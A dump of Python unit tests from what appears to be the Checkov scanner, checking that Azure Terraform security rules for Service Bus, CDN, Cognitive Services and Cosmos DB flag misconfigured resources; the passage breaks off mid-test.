    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureServicebusPublicAccessDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureServicebusPublicAccessDisabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureServicebusPublicAccessDisabled\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_servicebus_namespace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_servicebus_namespace.fail\",\n            \"azurerm_servicebus_namespace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureSparkPoolIsolatedComputeEnabled.py",
    "content": "import logging\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureSparkPoolIsolatedComputeEnabled import check\n\nclass TestAzureSparkPoolIsolatedComputeEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSparkPoolIsolatedComputeEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        logging.warning(f\"summary: {summary}\")\n\n        passing_resources = {\n            'azurerm_synapse_spark_pool.pass'\n        }\n        failing_resources = {\n            'azurerm_synapse_spark_pool.fail',\n            'azurerm_synapse_spark_pool.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CDNDisableHttpEndpoints.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.CDNDisableHttpEndpoints import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCDNDisableHttpEndpoints(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CDNDisableHttpEndpoints\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cdn_endpoint.pass\",\n        }\n        failing_resources = {\n            \"azurerm_cdn_endpoint.fail\",\n            \"azurerm_cdn_endpoint.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CDNEnableHttpsEndpoints.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.CDNEnableHttpsEndpoints import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCDNEnableHttpsEndpoints(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CDNEnableHttpsEndpoints\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cdn_endpoint.pass\",\n            \"azurerm_cdn_endpoint.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_cdn_endpoint.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CDNTLSProtocol12.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.CDNTLSProtocol12 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCDNTLSProtocol12(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CDNTLSProtocol12\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cdn_endpoint_custom_domain.pass\",\n            \"azurerm_cdn_endpoint_custom_domain.pass2\",\n            \"azurerm_cdn_endpoint_custom_domain.pass3\",\n        }\n        failing_resources = {\n            \"azurerm_cdn_endpoint_custom_domain.fail\",\n            \"azurerm_cdn_endpoint_custom_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CognitiveServicesConfigureIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.CognitiveServicesConfigureIdentity import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCognitiveServicesConfigureIdentity(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CognitiveServicesConfigureIdentity\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cognitive_account.pass\",\n        }\n        failing_resources = {\n            \"azurerm_cognitive_account.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CognitiveServicesDisablesPublicNetwork.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.CognitiveServicesDisablesPublicNetwork import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCognitiveServicesDisablesPublicNetwork(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cognitive_account\" \"examplea\" {\n  name                = \"example-account\"\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n  kind                = \"Face\"\n\n  public_network_access_enabled = true\n\n  sku_name = \"S0\"\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_missing_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cognitive_account\" \"examplea\" {\n  name                = \"example-account\"\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n  kind                = \"Face\"\n\n  sku_name = \"S0\"\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n        \n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"azurerm_cognitive_account\" \"examplea\" {\n  name                = \"example-account\"\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n  kind                = \"Face\"\n\n  public_network_access_enabled = false\n\n  sku_name = \"S0\"\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CognitiveServicesEnableLocalAuth.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.CognitiveServicesEnableLocalAuth import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCognitiveServicesEnableLocalAuth(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CognitiveServicesEnableLocalAuth\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cognitive_account.pass\",\n        }\n        failing_resources = {\n            \"azurerm_cognitive_account.fail\",\n            \"azurerm_cognitive_account.fail2\",\n\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CosmosDBAccountsRestrictedAccess.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.CosmosDBAccountsRestrictedAccess import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCosmosDBAccountsRestrictedAccess(unittest.TestCase):\n\n    def test_failure_public_access_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n              is_virtual_network_filter_enabled = true\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_public_access_vn_filter(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n              public_network_access_enabled = true\n              is_virtual_network_filter_enabled = false\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_vn_filter_false(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n              is_virtual_network_filter_enabled = false\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_vm_filter_false_with_vn_rule(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_firewall_network_rule_collection\" \"example\" {\n          name                = \"testcollection\"\n          azure_firewall_name = azurerm_firewall.example.name\n          resource_group_name = azurerm_resource_group.example.name\n          priority            = 100\n          action              = \"Allow\"\n\n          rule {\n            name = \"testrule\"\n\n            source_addresses = [\n              \"10.0.0.0/16\",\n            ]\n\n            destination_ports = [\n              \"53\",\n            ]\n\n            destination_addresses = [\n              \"8.8.8.8\",\n              \"8.8.4.4\",\n            ]\n\n            protocols = [\n              \"TCP\",\n              \"UDP\",\n            ]\n          }\n        }\n          resource \"azurerm_cosmosdb_account\" \"db\" {\n             name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n             location            = azurerm_resource_group.rg.location\n             resource_group_name = azurerm_resource_group.rg.name\n             offer_type          = \"Standard\"\n             kind                = \"GlobalDocumentDB\"\n             is_virtual_network_filter_enabled = false\n             virtual_network_rule = azurerm_firewall_network_rule_collection.example\n\n             enable_automatic_failover = true\n\n             capabilities {\n               name = \"EnableAggregationPipeline\"\n             }\n\n             capabilities {\n               name = \"mongoEnableDocLevelTTL\"\n             }\n\n             capabilities {\n               name = \"MongoDBv3.4\"\n             }\n\n             consistency_policy {\n               consistency_level       = \"BoundedStaleness\"\n               max_interval_in_seconds = 10\n               max_staleness_prefix    = 200\n             }\n\n             geo_location {\n               location          = var.failover_location\n               failover_priority = 1\n             }\n\n             geo_location {\n               location          = azurerm_resource_group.rg.location\n               failover_priority = 0\n             }\n           }\n               \"\"\")\n        resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_public_access_with_ip_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n              public_network_access_enabled = true\n              \n              ip_range_filter = [\"192.0.0.1\"]\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_no_public_access(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n              public_network_access_enabled = false\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_vm_filter_with_vm_rule(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_firewall_network_rule_collection\" \"example\" {\n          name                = \"testcollection\"\n          azure_firewall_name = azurerm_firewall.example.name\n          resource_group_name = azurerm_resource_group.example.name\n          priority            = 100\n          action              = \"Allow\"\n        \n          rule {\n            name = \"testrule\"\n        \n            source_addresses = [\n              \"10.0.0.0/16\",\n            ]\n        \n            destination_ports = [\n              \"53\",\n            ]\n        \n            destination_addresses = [\n              \"8.8.8.8\",\n              \"8.8.4.4\",\n            ]\n        \n            protocols = [\n              \"TCP\",\n              \"UDP\",\n            ]\n          }\n        }\n              resource \"azurerm_cosmosdb_account\" \"db\" {\n                 name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n                 location            = azurerm_resource_group.rg.location\n                 resource_group_name = azurerm_resource_group.rg.name\n                 offer_type          = \"Standard\"\n                 kind                = \"GlobalDocumentDB\"\n                 is_virtual_network_filter_enabled = true\n                 virtual_network_rule = azurerm_firewall_network_rule_collection.example\n\n                 enable_automatic_failover = true\n\n                 capabilities {\n                   name = \"EnableAggregationPipeline\"\n                 }\n\n                 capabilities {\n                   name = \"mongoEnableDocLevelTTL\"\n                 }\n\n                 capabilities {\n                   name = \"MongoDBv3.4\"\n                 }\n\n                 consistency_policy {\n                   consistency_level       = \"BoundedStaleness\"\n                   max_interval_in_seconds = 10\n                   max_staleness_prefix    = 200\n                 }\n\n                 geo_location {\n                   location          = var.failover_location\n                   failover_priority = 1\n                 }\n\n                 geo_location {\n                   location          = azurerm_resource_group.rg.location\n                   failover_priority = 0\n                 }\n               }\n               \"\"\")\n        resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_no_public_access_with_vn_filter(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_firewall_network_rule_collection\" \"example\" {\n          name                = \"testcollection\"\n          azure_firewall_name = azurerm_firewall.example.name\n          resource_group_name = azurerm_resource_group.example.name\n          priority            = 100\n          action              = \"Allow\"\n\n          rule {\n            name = \"testrule\"\n\n            source_addresses = [\n              \"10.0.0.0/16\",\n            ]\n\n            destination_ports = [\n              \"53\",\n            ]\n\n            destination_addresses = [\n              \"8.8.8.8\",\n              \"8.8.4.4\",\n            ]\n\n            protocols = [\n              \"TCP\",\n              \"UDP\",\n            ]\n          }\n        }\n              resource \"azurerm_cosmosdb_account\" \"db\" {\n                 name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n                 location            = azurerm_resource_group.rg.location\n                 resource_group_name = azurerm_resource_group.rg.name\n                 offer_type          = \"Standard\"\n                 kind                = \"GlobalDocumentDB\"\n                 public_network_access_enabled = false\n                 is_virtual_network_filter_enabled = true\n                 virtual_network_rule = azurerm_firewall_network_rule_collection.example\n\n                 enable_automatic_failover = true\n\n                 capabilities {\n                   name = \"EnableAggregationPipeline\"\n                 }\n\n                 capabilities {\n                   name = \"mongoEnableDocLevelTTL\"\n                 }\n\n                 capabilities {\n                   name = \"MongoDBv3.4\"\n                 }\n\n                 consistency_policy {\n                   consistency_level       = \"BoundedStaleness\"\n                   max_interval_in_seconds = 10\n                   max_staleness_prefix    = 200\n                 }\n\n                 geo_location {\n                   location          = var.failover_location\n                   failover_priority = 1\n                 }\n\n                 geo_location {\n                   location          = azurerm_resource_group.rg.location\n                   failover_priority = 0\n                 }\n               }\n               \"\"\")\n        resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_vn_filter_ip_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_firewall_network_rule_collection\" \"example\" {\n          name                = \"testcollection\"\n          azure_firewall_name = azurerm_firewall.example.name\n          resource_group_name = azurerm_resource_group.example.name\n          priority            = 100\n          action              = \"Allow\"\n\n          rule {\n            name = \"testrule\"\n\n            source_addresses = [\n              \"10.0.0.0/16\",\n            ]\n\n            destination_ports = [\n              \"53\",\n            ]\n\n            destination_addresses = [\n              \"8.8.8.8\",\n              \"8.8.4.4\",\n            ]\n\n            protocols = [\n              \"TCP\",\n              \"UDP\",\n            ]\n          }\n        }\n              resource \"azurerm_cosmosdb_account\" \"db\" {\n                 name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n                 location            = azurerm_resource_group.rg.location\n                 resource_group_name = azurerm_resource_group.rg.name\n                 offer_type          = \"Standard\"\n                 kind                = \"GlobalDocumentDB\"\n                 is_virtual_network_filter_enabled = true\n                 ip_range_filter = [\"192.0.0.1\"]\n\n                 enable_automatic_failover = true\n\n                 capabilities {\n                   name = \"EnableAggregationPipeline\"\n                 }\n\n                 capabilities {\n                   name = \"mongoEnableDocLevelTTL\"\n                 }\n\n                 capabilities {\n                   name = \"MongoDBv3.4\"\n                 }\n\n                 consistency_policy {\n                   consistency_level       = \"BoundedStaleness\"\n                   max_interval_in_seconds = 10\n                   max_staleness_prefix    = 200\n                 }\n\n                 geo_location {\n                   location          = var.failover_location\n                   failover_priority = 1\n                 }\n\n                 geo_location {\n                   location          = azurerm_resource_group.rg.location\n                   failover_priority = 0\n                 }\n               }\n               \"\"\")\n        resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CosmosDBDisableAccessKeyWrite.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.CosmosDBDisableAccessKeyWrite import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCosmosDBDisableAccessKeyWrite(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              access_key_metadata_writes_enabled = false\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CosmosDBDisablesPublicNetwork.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.CosmosDBDisablesPublicNetwork import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCosmosDBHaveCMK(unittest.TestCase):\n\n    def test_failure_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_cosmosdb_account\" \"db\" {\n              name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n              offer_type          = \"Standard\"\n              kind                = \"GlobalDocumentDB\"\n\n              enable_automatic_failover = true\n\n              capabilities {\n                name = \"EnableAggregationPipeline\"\n              }\n\n              capabilities {\n                name = \"mongoEnableDocLevelTTL\"\n              }\n\n              capabilities {\n                name = \"MongoDBv3.4\"\n              }\n\n              consistency_policy {\n                consistency_level       = \"BoundedStaleness\"\n                max_interval_in_seconds = 10\n                max_staleness_prefix    = 200\n              }\n\n              geo_location {\n                location          = var.failover_location\n                failover_priority = 1\n              }\n\n              geo_location {\n                location          = azurerm_resource_group.rg.location\n                failover_priority = 0\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cosmosdb_account\" \"db\" {\n                  name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n                  location            = azurerm_resource_group.rg.location\n                  resource_group_name = azurerm_resource_group.rg.name\n                  offer_type          = \"Standard\"\n                  kind                = \"GlobalDocumentDB\"\n\n                  public_network_access_enabled = true\n                  enable_automatic_failover = true\n\n                  capabilities {\n                    name = \"EnableAggregationPipeline\"\n                  }\n\n                  capabilities {\n                    name = \"mongoEnableDocLevelTTL\"\n                  }\n\n                  capabilities {\n                    name = \"MongoDBv3.4\"\n                  }\n\n                  consistency_policy {\n                    consistency_level       = \"BoundedStaleness\"\n                    max_interval_in_seconds = 10\n                    max_staleness_prefix    = 200\n                  }\n\n                  geo_location {\n                    location          = var.failover_location\n                    failover_priority = 1\n                  }\n\n                  geo_location {\n                    location          = azurerm_resource_group.rg.location\n                    failover_priority = 0\n                  }\n\n                  key_vault_key_id = \"A versionless Key Vault Key ID for CMK encryption\"\n                }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_cosmosdb_account\" \"db\" {\n                  name                = \"tfex-cosmos-db-${random_integer.ri.result}\"\n                  location            = azurerm_resource_group.rg.location\n                  resource_group_name = azurerm_resource_group.rg.name\n                  offer_type          = \"Standard\"\n                  kind                = \"GlobalDocumentDB\"\n\n                  public_network_access_enabled = false\n                  enable_automatic_failover = true\n\n                  capabilities {\n                    name = \"EnableAggregationPipeline\"\n                  }\n\n                  capabilities {\n                    name = \"mongoEnableDocLevelTTL\"\n                  }\n\n                  capabilities {\n                    name = \"MongoDBv3.4\"\n                  }\n\n                  consistency_policy {\n                    consistency_level       = \"BoundedStaleness\"\n                    max_interval_in_seconds = 10\n                    max_staleness_prefix    = 200\n                  }\n\n                  geo_location {\n                    location          = var.failover_location\n                    failover_priority = 1\n                  }\n\n                  geo_location {\n                    location          = azurerm_resource_group.rg.location\n                    failover_priority = 0\n                  }\n\n                  key_vault_key_id = \"A versionless Key Vault Key 